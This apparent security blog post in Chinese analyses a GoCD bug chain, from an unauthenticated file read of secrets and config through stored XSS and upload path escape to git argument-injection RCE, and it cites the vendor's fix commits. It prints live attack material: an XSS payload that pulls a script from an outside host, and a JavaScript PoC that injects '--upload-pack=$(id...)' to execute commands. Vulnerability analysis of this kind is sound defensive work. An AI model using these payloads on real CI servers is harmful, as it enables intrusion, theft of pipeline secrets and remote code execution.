xiaoxiong's blog Thinking and Action

gocd-从任意文件读到rce漏洞分析

2022-03-08

gocd-从任意文件读到rce漏洞分析

gocd 是一款开源的持续集成和持续交付系统,github上有 6.4k star,通过资产测绘发现在外网部署量也不小。有安全研究员已从各个攻击面对 gocd 有一个完整的漏洞挖掘,首先从任意文件读获取 agent 权限,然后通过 agent 权限构造存储型 xss 攻击管理员,利用 xss 进行参数注入或者文件上传获得 rce 权限。相对于一个个漏洞单独分析,这是一个相较完整的更为全面且针对性的漏洞挖掘。当然在漏洞分析的过程中,自己也发现了一点小彩蛋,在合适的时间会公开。

漏洞背景

  • 存在漏洞版本: v20.6.0 - v21.2.0
  • 修复 v21.3.0
  • Agent 007: Pre-Auth Takeover of Build Pipelines in GoCD https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover

CVE-2021-43287 敏感信息泄漏

gocd 认证由 spring security 实现,在 v20.6.0 版本之后,AuthenticationFilterChainadd-on 路径使用 assumeAnonymousUserFilter 进行验证, AuthorizeFilterChain 权限校验开放为 allowAllAccessFilter.

即所有 /add-on/business-continuity/api 路由可以匿名访问,该路由下,可以获取到一些敏感信息

5eab893e1736a1cefa4ecdca76444dc4.png

漏洞代码很清晰,可以看到 plugin 路由的处理逻辑,对 folderName 进行了限制,限制为 bundled 目录,和外部目录。但是未对 pluginName 做限制,存在目录遍历漏洞。

f258edd36901f2fd778c880d07515628.png

漏洞不复杂,但不得不感叹自动化漏洞分析的必要性,保持对新功能,新特性风险点的及时捕获,进行漏洞挖掘。

漏洞证明

2169b95bb80406912d4dba1c650e05de.png

漏洞利用

This add-on is installed and enabled by default since version v20.6.0. The vulnerable code is shown in the next code snippet:

从 20.6.0 版本开始,该路径开放,漏洞存在

  • 可以通过任意文件读,读取server 端文件

  • /cipher.aes 文件会泄漏敏感信息

  • /cruise_config 泄漏服务端的配置信息,user/password 存储信息,pipeline 信息 : leaks the main configuration file of a GoCD server. This XML config file contains all environment variables for all pipelines. Some of the environment variables are encrypted and contain secrets, but can be decrypted with the leaked AES cipher. This config also contains other sensitive data which we will discuss in the next section.

b0b055c8cd81a7e65d3e4407924e3298.png

Cruise_config.xml 介绍

agentAutoRegisterKey 代理注册密钥,可以通过此密钥自动注册代理而不用审批,可以获得 agent 的攻击面

<server 
    agentAutoRegisterKey="xxx-xxx-xxx-xxx-xxx-xxx" 
    webhookSecret="xxx-xxx-xxx-xxx-xxx-xxx" 
    tokenGenerationKey="xxx-xxx-xxx-xxx-xxx-xxx">

tokenGenerationKey 令牌生成密钥 ,此次还有历史漏洞,会详细讲解

webhookSecret 用于验证来自 GitHub、GitLab 或 BitBucket 的 webhook 请求

passwordfile 遵循 具有用户名和散列密码的htpasswd文件格式,或者 ldap 密码

漏洞修复

删除了 /add-on/business-continuity/api 的访问路由,奇怪,业务不用了么

commits https://github.com/gocd/gocd/commit/41abc210ac4e8cfa184483c9ff1c0cc04fb3511c

383c2c9ccf54765d2d2382ac80545c67.png

CVE-2021-43288 xss

xss 需要一个后台普通权限, 通过第一步泄漏文件,我们可以自动注册一个agent,agent 在获取任务之后上传文件,server 未对文件名进行过滤,导致 xss 发生

注:gocd server 相当于一个任务分配器,在 agent 注册之后,会分配任务,包含任务 id 等,server 将 agent 上传的文件(artifact:ci/cd 的中间结果)存储在本地,用户可以查看任务并且下载

url rewrite 路由

<rule>
    <name>Specific Build Detail</name>
    <from>/tab/build/detail/([^/]+)/([^/]+)/([^/]+)/([^/]+)/([^/]+)</from>
    <to type="forward">/tab/build/recent?pipelineName=$1&amp;pipelineCounter=$2&amp;stageName=$3&amp;stageCounter=$4&amp;jobName=$5</to>
  </rule>
  • pipelineName = My-new-Pipeline
  • pipelineCounter= 12
  • stageName = Test-Report
  • stageCounter = 1
  • jobName = run-unit-job

文件上传处理的 controller 为 com.thoughtworks.go.server.controller.ArtifactsController#postArtifact

上传文件需要是 zip 压缩的,在处理zip 文件名时 对 ..做了安全处理。

上传文件时,需要知道 pipelineName, pipelineCounter,jobName 等一系列的信息,所以需要 agent 权限,能过获取相关任务信息

服务端找附件是由 artifactDirecotoryChooser 实现的,通过提供 pipelinejobname ,取出相应目录下的文件目录

server 实际上会根据 job 名称生成 相对应的文件夹,将 agent 上传文件存储,每次输出渲染都会去相应文件目录下获取文件名,然后渲染

相对路径在 /var/lib/go-server/artifacts/pipelines

可构造文件名引入第三方 js ,触发xss 攻击

可构造如下文件名,使用 base64编码,需要绕过 /使用,/会被视为目录,导致利用失败

<img src onerror=document.body.appendChild(document.createElement('script')).src=atob('Ly8xMC4yMTEuNTUuMjo0ODA4MC8xLmpz')>

CVE-2021-43289 CVE-2021-43290 文件上传逃逸目录

文件上传 利用,相关controller com.thoughtworks.go.server.controller.ArtifactsController

在 post 和 put 处理时都存在问题

    @RequestMapping(
        value = {"/repository/restful/artifact/POST/*"},
        method = {RequestMethod.POST}
    )
    
        @RequestMapping(
        value = {"/repository/restful/artifact/PUT/*"},
        method = {RequestMethod.PUT}
    )

/repository/restful/artifact/POST/?pipelineName=Pipeline2&pipelineCounter=4&stageName=Stage2&stageCounter=1&buildName=JobName2&filePath=

60ad7faa783d782fa20a89bb3522c18d.png

这里注意下,可以看到对 path(传参 filepath) 进行了安全处理,但实际上拼接目录时还使用了stageCounter 参数,自己撸代码时错过了,看来还是要细心一点。

CVE-2021-43286 需要权限参数注入

这是一处 git 参数注入,一个比较有年代却十分有效的漏洞

repoUrl 为可控参数,使用 withArgs 方式添加

可食用 --upload-pack 参数可以执行命令

public void checkConnection(UrlArgument repoUrl) {
   final String ref = fullUpstreamRef();
   final CommandLine commandLine = git().withArgs("ls-remote").withArg(repoUrl).withArg(ref);
   final ConsoleResult result = commandLine.runOrBomb(new NamedProcessTag(repoUrl.forDisplay()));

   if (!hasExactlyOneMatchingBranch(result)) {
       throw new CommandLineException(format("The ref %s could not be found.", ref));
   }
}
    public CommandLine withArgs(String... args) {
        this.addStringArguments(args);
        return this;
    }
    
        private void addStringArguments(String... args) {
        String[] var2 = args;
        int var3 = args.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            String arg = var2[var4];
            this.arguments.add(new StringArgument(arg));
        }

    }

拼接的 commandline 如下图所示,执行如下图

3cc0cde5f6c99de7125315df744c2200.png

漏洞利用

xss 利用文件 配合 CVE-2021-43289 的poc

var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', window.location.protocol + '//' + window.location.host + '/go/api/admin/internal/material_test', true);
httpRequest.setRequestHeader('Content-type','application/json; charset=utf-8');
httpRequest.setRequestHeader('Accept','application/vnd.go.cd.v1+json');
httpRequest.send(JSON.stringify({"attributes":{"auto_update":true,"filter":null,"url":"--upload-pack=\\\"$(id>/tmp/test6)\\\"","shallow_clone":false,"password":""},"type":"git","pipeline_group":"defaultGroup"}))

修复

commits 修复主要还是添加了 url 的验证文件,限制了字符范围,命令拼接时会提前准备好 -- 部分 4430fe73e4b20f4d6051ff244de633f8.png f01aa40c53730643abca776d1cca70c5.png

历史风险点

实际上 gocd 历史版本还存在多个风险点,使用 rpc 方式处理 agent 请求,存在反序列化漏洞


Similar Posts

Comments